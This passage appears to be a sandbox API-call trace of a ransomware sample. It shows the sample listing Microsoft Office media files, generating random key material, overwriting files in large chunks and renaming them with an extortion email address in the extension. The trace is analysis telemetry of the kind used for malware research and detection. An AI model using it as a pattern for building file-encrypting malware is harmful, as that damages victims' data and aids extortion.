Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.971] wcscat (in: _Dest=0x12e2b008, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.971] wcscat (in: _Dest=0x12e2b008, _Source="BD14769_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" [0063.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328 [0063.974] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0063.974] wcscmp (_String1="BD14800_.GIF", _String2=".") returned 1 [0063.974] wcscmp (_String1="BD14800_.GIF", _String2="..") returned 1 [0063.974] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b098 [0063.974] wcscpy (in: _Dest=0x12e2b098, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.974] wcscat (in: _Dest=0x12e2b098, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.975] wcscat (in: _Dest=0x12e2b098, _Source="BD14800_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" [0063.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x132c [0063.977] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0063.978] wcscmp (_String1="BD14801_.GIF", _String2=".") returned 1 [0063.978] wcscmp (_String1="BD14801_.GIF", _String2="..") returned 1 [0063.978] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b128 [0063.978] wcscpy (in: _Dest=0x12e2b128, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.978] wcscat (in: _Dest=0x12e2b128, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.978] wcscat (in: _Dest=0x12e2b128, _Source="BD14801_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" [0063.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1330 [0063.979] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0063.979] wcscmp (_String1="BD14844_.GIF", _String2=".") returned 1 [0063.979] wcscmp (_String1="BD14844_.GIF", _String2="..") returned 1 [0063.979] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b1b8 [0063.979] wcscpy (in: _Dest=0x12e2b1b8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.979] wcscat (in: _Dest=0x12e2b1b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.979] wcscat (in: _Dest=0x12e2b1b8, _Source="BD14844_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" [0063.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b1b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1334 [0063.982] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0063.982] wcscmp (_String1="BD14845_.GIF", _String2=".") returned 1 [0063.983] wcscmp (_String1="BD14845_.GIF", _String2="..") returned 1 [0063.983] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b248 [0063.983] wcscpy (in: _Dest=0x12e2b248, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.983] wcscat (in: _Dest=0x12e2b248, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.983] wcscat (in: _Dest=0x12e2b248, _Source="BD14845_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" [0063.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x133c [0063.984] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0063.984] wcscmp (_String1="BD14882_.GIF", _String2=".") returned 1 [0063.984] wcscmp (_String1="BD14882_.GIF", _String2="..") returned 1 [0063.984] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b2d8 [0063.984] wcscpy (in: _Dest=0x12e2b2d8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.984] wcscat (in: _Dest=0x12e2b2d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.984] wcscat (in: _Dest=0x12e2b2d8, _Source="BD14882_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" [0063.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1340 [0063.986] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0063.986] wcscmp (_String1="BD14883_.GIF", _String2=".") returned 1 [0063.986] wcscmp (_String1="BD14883_.GIF", _String2="..") returned 1 [0063.986] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b368 [0063.986] wcscpy (in: _Dest=0x12e2b368, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0063.986] wcscat (in: _Dest=0x12e2b368, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0063.986] wcscat (in: _Dest=0x12e2b368, _Source="BD14883_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" [0063.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e2b368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1344 [0065.469] FindNextFileW (in: hFindFile=0x409fe8, lpFindFileData=0x4b9408 | out: lpFindFileData=0x4b9408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0065.469] wcscmp (_String1="BD14996_.GIF", _String2=".") returned 1 [0065.469] wcscmp (_String1="BD14996_.GIF", _String2="..") returned 1 [0065.470] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e2b488 [0065.470] wcscpy (in: _Dest=0x12e2b488, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES" [0065.470] wcscat (in: _Dest=0x12e2b488, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\" [0065.470] wcscat (in: _Dest=0x12e2b488, _Source="BD14996_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" Thread: id = 760 os_tid = 0xe58 [0051.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw")) returned 0x20 [0051.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW", dwFileAttributes=0x20) returned 1 [0052.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe4c [0052.725] GetFileSizeEx (in: hFile=0xe4c, lpFileSize=0x1125fc54 | out: lpFileSize=0x1125fc54*=492624) returned 1 [0052.725] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x7844c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.725] ReadFile (in: hFile=0xe4c, lpBuffer=0x1125fbd8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1125fbd4, lpOverlapped=0x0 | out: lpBuffer=0x1125fbd8*, lpNumberOfBytesRead=0x1125fbd4*=0x4, lpOverlapped=0x0) returned 1 [0052.727] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e97b0 [0052.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428898 [0052.727] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4288c0 [0052.727] NtQuerySystemTime (in: CurrentTime=0x1125fbb4 | out: CurrentTime=0x1125fbb4*=132174898167048000) returned 0x0 [0052.727] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x1c8317d4 [0052.727] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x31726747 [0052.727] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x74a3c7ff [0052.727] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x76b1235 [0052.727] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x26ffaafe [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x36098b4d [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x2ce9fb65 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x55765434 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x6dde6ead [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x3448c68a [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x45c68242 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x57f44094 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x7dcfde94 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x4c62b28a [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x281dbb2b [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x392714ca [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x7509daa0 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x641451f8 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x3cff783f [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x67db07bb [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x10516836 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x210f7205 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x29c296a4 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x30331107 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x1adc45c6 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x7676d8a5 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x333e04b2 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x7dd55a0a [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x7e4ad6a [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x69914c21 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x16cb1e99 [0052.728] RtlRandomEx (in: Seed=0x1125fbc0 | out: Seed=0x1125fbc0) returned 0x477d9339 [0052.741] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.741] ReadFile (in: hFile=0xe4c, lpBuffer=0x195bd8e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195bd8e0*, lpNumberOfBytesRead=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0052.743] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bfb8 [0052.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437508 [0052.743] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428960 [0052.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428960) returned 1 [0052.744] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195ca0e8 [0052.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428960 [0052.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428988 [0052.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0052.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437508) returned 1 [0052.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bfb8) returned 1 [0052.748] WriteFile (in: hFile=0xe4c, lpBuffer=0x195ca0e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195ca0e8*, lpNumberOfBytesWritten=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0057.727] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ca0e8) returned 1 [0057.727] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.727] ReadFile (in: hFile=0xe4c, lpBuffer=0x195bd8e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195bd8e0*, lpNumberOfBytesRead=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0057.728] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x3e800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c168 [0057.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0057.728] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428be0 [0057.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428be0) returned 1 [0057.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195ca0e8 [0057.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428be0 [0057.730] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428b40 [0057.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428b40) returned 1 [0057.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0057.730] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c168) returned 1 [0057.730] WriteFile (in: hFile=0xe4c, lpBuffer=0x195ca0e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195ca0e8*, lpNumberOfBytesWritten=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0059.228] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ca0e8) returned 1 [0059.228] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x6bc50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.228] ReadFile (in: hFile=0xe4c, lpBuffer=0x195bd8e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195bd8e0*, lpNumberOfBytesRead=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0059.229] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x6bc50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419e38 [0059.230] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419e38) returned 1 [0059.230] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x195ca0e8 [0059.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419e38 [0059.231] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x419d70 [0059.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419d70) returned 1 [0059.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.231] WriteFile (in: hFile=0xe4c, lpBuffer=0x195ca0e8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1125fb6c, lpOverlapped=0x0 | out: lpBuffer=0x195ca0e8*, lpNumberOfBytesWritten=0x1125fb6c*=0xc800, lpOverlapped=0x0) returned 1 [0062.321] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195ca0e8) returned 1 [0062.321] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d938 [0062.321] SetFilePointerEx (in: hFile=0xe4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.321] WriteFile (in: hFile=0xe4c, lpBuffer=0x441c88*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x1125fc14, lpOverlapped=0x0 | out: lpBuffer=0x441c88*, lpNumberOfBytesWritten=0x1125fc14*=0x149, lpOverlapped=0x0) returned 1 [0062.738] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441c88) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb40) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428960) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebd0) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d938) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428898) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4288e8) returned 1 [0063.337] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428910) returned 1 [0063.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc4) returned 0x5e00610 [0063.337] wcscpy (in: _Dest=0x5e00610, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" [0063.337] wcscat (in: _Dest=0x5e00610, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d" [0063.337] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1125fbcc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x12cf98b0 